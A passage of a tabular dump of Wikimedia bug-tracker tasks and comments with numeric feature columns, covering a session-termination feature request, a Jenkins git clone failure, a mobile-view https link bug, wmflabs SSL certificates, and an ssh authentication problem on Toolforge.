Hmmm, interesting. So could this be a feature request for that extension, then?",,,1382895094,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,1,True,,,-88,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,17.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,10.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.3666666666666667,0.9,"(In reply to comment #4)
QUOTE
QUOTE

Hmmm, interesting. So could this be a feature request for that extension, then?"
279523,Add a feature to track and terminate specific login sessions,"[[mw:Extension:SecureSessions]] only allows you to log out all sessions at once, not individual sessions.",,,1382895018,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,1,False,,,-88,True,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.8333333333333335,0.8333333333333334,"[[mw:Extension:SecureSessions]] only allows you to log out all sessions at once, not individual sessions."
279517,Add a feature to track and terminate specific login sessions,I believe this is the purpose of [[mw:Extension:SecureSessions]].,,,1382889214,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,1,True,,,-88,True,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,18.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.411764705882353,0.8235294117647058,I believe this is the purpose of [[mw:Extension:SecureSessions]].
279510,Add a feature to track and terminate specific login sessions,"I mean lets say I have nine sessions, eight on various computers around my house and at the lab, and one back at Bob's friend's house. I want to just terminate the latter, because there are lots of weird people at his house and I'm not going back there this week. Why should I have to hurt all my other sessions just to zap that one like I can already do in Facebook?",,,1382885712,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,1,False,,,-88,True,1.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,10.0,0.0,10.0,15.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,7.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,13.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,1.0,2.0,0.0,0.0,0.0,2.0,1.0,11.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,11.0,15.0,2.0,1.0,0.0,0.0,11.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.597560975609756,0.6951219512195121,"I mean lets say I have nine sessions, eight on various computers around my house and at the lab, and one back at Bob's friend's house. I want to just terminate the latter, because there are lots of weird people at his house and I'm not going back there this week. Why should I have to hurt all my other sessions just to zap that one like I can already do in Facebook?"
279502,Add a feature to track and terminate specific login sessions,Logging out already logs you out of all your sessions.,,,1382885141,,PHID-USER-i7wj2sc5pxjokzzaj7vt,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,1,False,,,-88,True,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,27.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.090909090909091,0.9090909090909091,Logging out already logs you out of all your sessions.
58098,Cloudbees Jenkins can not clone Git repositories via Anonymous HTTP,"Example[1]:

...
ERROR: Error cloning remote repo 'origin'
hudson.plugins.git.GitException: Could not clone https://gerrit.wikimedia.org/r/mediawiki/extensions/Translate
...

Started to happen after updating Jenkins Git plugin. Reverting the plugin to a earlier version did not help.

Workaround it so clone the repositories via SSH[2].

Contacted Cloudbees support[3].

They were able to reproduce the problem[4] and fix it.

1: https://wmf.ci.cloudbees.com/view/r-tr/job/Translate-sandbox.translatewiki.net-linux-firefox/5/console
2: https://gerrit.wikimedia.org/r/#/c/91369/2/docs/template.md
3: https://cloudbees.zendesk.com/requests/14067
4: https://issues.jenkins-ci.org/browse/JENKINS-20218

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1382619360,1382619967.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,,False,PHID-TASK-drck3ontm2hvae6wzpnc,task_description,resolved,True,c3,1,True,False,True,-88,True,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,3.0,0.0,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,3.0,0.0,1.0,0.0,0.0,0.0,10.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,14.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,4.0,0.0,4.5,0.0,2.5,3.0,4.0,0.0,1.0,0.0,2.5,0.0,0.0,0.5,0.0,1.0,0.5,0.0,0.5,3.778733766233766,0.6297077922077922,"Example[1]:

...
ERROR: Error cloning remote repo 'origin'
hudson.plugins.git.GitException: Could not clone URL
...

Started to happen after updating Jenkins Git plugin. Reverting the plugin to a earlier version did not help.

Workaround it so clone the repositories via SSH[2].

Contacted Cloudbees support[3].

They were able to reproduce the problem[4] and fix it.

1: URL
2: URL
3: URL
4: URL

--------------------------
**Version**: unspecified
**Severity**: normal"
272218,Cloudbees Jenkins can not clone Git repositories via Anonymous HTTP,"Change 91593 merged by Cmcmahon:
Clone Git repositories via anonymous HTTP

https://gerrit.wikimedia.org/r/91593",,,1382628110,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-drck3ontm2hvae6wzpnc,task_subcomment,,True,c3,1,False,,,-88,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.133333333333334,1.0,"Change 91593 merged by Cmcmahon:
Clone Git repositories via anonymous HTTP

GERRIT_URL"
272210,Cloudbees Jenkins can not clone Git repositories via Anonymous HTTP,"Change 91593 had a related patch set uploaded by Zfilipin:
Clone Git repositories via anonymous HTTP

https://gerrit.wikimedia.org/r/91593",,,1382619640,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-drck3ontm2hvae6wzpnc,task_subcomment,,True,c3,1,False,,,-88,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,30.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.9,1.0,"Change 91593 had a related patch set uploaded by Zfilipin:
Clone Git repositories via anonymous HTTP

GERRIT_URL"
57982,'Mobile view' link always heads to https,"'Mobile view' link always heads to https because of incorrect value in second argument of MobileContext::getMobileUrl().

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1382414760,1401902866.0,PHID-USER-ecpjgmrbfxvcanttpazu,False,,False,PHID-TASK-o47zmudzjjgqctumtubv,task_description,resolved,True,c3,1,False,False,True,-89,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.512820512820513,0.717948717948718,"'Mobile view' link always heads to https because of incorrect value in second argument of MobileContext::getMobileUrl().

--------------------------
**Version**: unspecified
**Severity**: major"
265157,'Mobile view' link always heads to https,"Change 137291 merged by MaxSem:
Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()

https://gerrit.wikimedia.org/r/137291",,,1401919391,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c3,1,False,,,-57,True,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.476190476190476,1.0,"Change 137291 merged by MaxSem:
Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()

GERRIT_URL"
265154,'Mobile view' link always heads to https,"Yep, but maybe it's possible to merge the change into REL1_22? :)",,,1401903124,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c3,1,True,,,-57,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,"Yep, but maybe it's possible to merge the change into REL1_22? :)"
265152,'Mobile view' link always heads to https,This is still resolved I think??,,,1401902866,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c3,1,True,,,-57,True,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,0.875,This is still resolved I think??
265150,'Mobile view' link always heads to https,"Change 137291 had a related patch set uploaded by Florianschmidtwelzow:
Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()

https://gerrit.wikimedia.org/r/137291",,,1401880631,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c3,1,False,,,-57,True,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.769230769230769,1.0,"Change 137291 had a related patch set uploaded by Florianschmidtwelzow:
Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()

GERRIT_URL"
265147,'Mobile view' link always heads to https,"Change 91123 merged by jenkins-bot:
Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()

https://gerrit.wikimedia.org/r/91123",,,1382481350,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c3,1,False,,,-89,True,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.173913043478261,1.0,"Change 91123 merged by jenkins-bot:
Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()

GERRIT_URL"
265143,'Mobile view' link always heads to https,"Change 91123 had a related patch set uploaded by devunt:
Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()

https://gerrit.wikimedia.org/r/91123",,,1382415009,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c3,1,False,,,-89,True,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.1923076923076925,1.0,"Change 91123 had a related patch set uploaded by devunt:
Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()

GERRIT_URL"
265138,'Mobile view' link always heads to https,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1322",,,1382414840,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c3,1,False,,,-89,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
57957,Get SSL certificates for wmflabs.org,"So that services like these:
* http://acc.wmflabs.org
* http://parsoid.wmflabs.org
* http://cvn.wmflabs.org/api.php

.. can get proper valid HTTPS connections.

See also bug 48501 (for *.{projects}.beta.wmflabs.org, probably needs separate treatment)

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1382338080,1382375472.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-37lmnryg4rtyk6aklzyk,task_description,invalid,True,c3,1,True,False,True,-89,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.052631578947368,0.631578947368421,"So that services like these:
* URL
* URL
* URL

.. can get proper valid HTTPS connections.

See also bug 48501 (for *.{projects}.beta.wmflabs.org, probably needs separate treatment)

--------------------------
**Version**: unspecified
**Severity**: normal"
263694,Get SSL certificates for wmflabs.org,This is already done and is working on yuviproxy. We just need to merge in the proxy interface for wikitech and package the invisible unicorn api for yuviproxy.,,,1382375472,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-37lmnryg4rtyk6aklzyk,task_subcomment,,True,c3,1,False,,,-89,True,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,17.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.433333333333334,0.8,This is already done and is working on yuviproxy. We just need to merge in the proxy interface for wikitech and package the invisible unicorn api for yuviproxy.
57945,not able to ssh to tools-dev from tools-login,"**Author:** `johan.gunnarsson`

**Description:**
Can not ssh to tools-dev from tools-login:

johang@tools-login:~$ ssh tools-dev

If you are having access problems, please see: https://wikitech.wikimedia.org/wiki/Access#Accessing_public_and_private_instances
Permission denied (publickey).

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1382292180,1409168555.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-bwyb4wlzidfcoi6jbnkj,task_description,invalid,True,c3,1,False,False,True,-89,True,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,4.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.5714285714285716,0.5714285714285714,"**Author:** CODE

**Description:**
Can not ssh to tools-dev from tools-login:

johang@tools-login:~$ ssh tools-dev

If you are having access problems, please see: URL
Permission denied (publickey).

--------------------------
**Version**: unspecified
**Severity**: normal"
263123,not able to ssh to tools-dev from tools-login,Unable to reproduce.,,,1409168555,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-bwyb4wlzidfcoi6jbnkj,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Unable to reproduce.
263116,not able to ssh to tools-dev from tools-login,"(In reply to comment #2)
> Yup, that's it. I wasn't forwarding it correctly.

No, the problem lies with Tools in that host-based authentification between tools-dev and tools-login isn't working anymore.  ssh'ing from tools-dev and tools-login to tools-exec-01 succeeds.

I discovered that both tools-dev and tools-login had the ssh_hba variable unset, but setting it back to ""yes"" didn't fix the issue.  There were some changes to the submit host mechanism in conjunction with the introduction of the webnode role, but I don't see anything obvious.  Need to debug further.",,,1388275091,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-bwyb4wlzidfcoi6jbnkj,task_subcomment,,True,c3,1,True,,,-79,True,1.0,1.0,0.0,0.0,2.0,1.5,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,1.0,1.5,0.0,4.5,9.0,1.0,0.5,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,22.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.5,1.5,5.0,0.5,3.5,6.5,0.0,0.0,0.0,0.5,3.0,1.0,0.5,0.0,2.0,9.0,1.0,0.0,1.5,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.7737288135593223,0.7398305084745762,"(In reply to comment #2)
QUOTE

No, the problem lies with Tools in that host-based authentification between tools-dev and tools-login isn't working anymore.  ssh'ing from tools-dev and tools-login to tools-exec-01 succeeds.

I discovered that both tools-dev and tools-login had the ssh_hba variable unset, but setting it back to ""yes"" didn't fix the issue.  There were some changes to the submit host mechanism in conjunction with the introduction of the webnode role, but I don't see anything obvious.  Need to debug further."
263107,not able to ssh to tools-dev from tools-login,"**johan.gunnarsson** wrote:

Yup, that's it. I wasn't forwarding it correctly.",,,1382298279,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-bwyb4wlzidfcoi6jbnkj,task_subcomment,,True,c3,1,False,,,-89,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.3333333333333335,0.7619047619047619,"**johan.gunnarsson** wrote:

Yup, that's it. I wasn't forwarding it correctly."
263100,not able to ssh to tools-dev from tools-login,"ok, either you aren't forwarding your private key properly, or it's not located on tools-login in ~/.ssh",,,1382295431,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-bwyb4wlzidfcoi6jbnkj,task_subcomment,,True,c3,1,True,,,-89,True,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,9.0,4.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.8260869565217392,0.9565217391304348,"ok, either you aren't forwarding your private key properly, or it's not located on tools-login in ~/.ssh"
57854,http/https redirect gone wrong for Special:UserLogin?type=signup on test2wiki,"seen on test2wiki Oct 17 after deploy

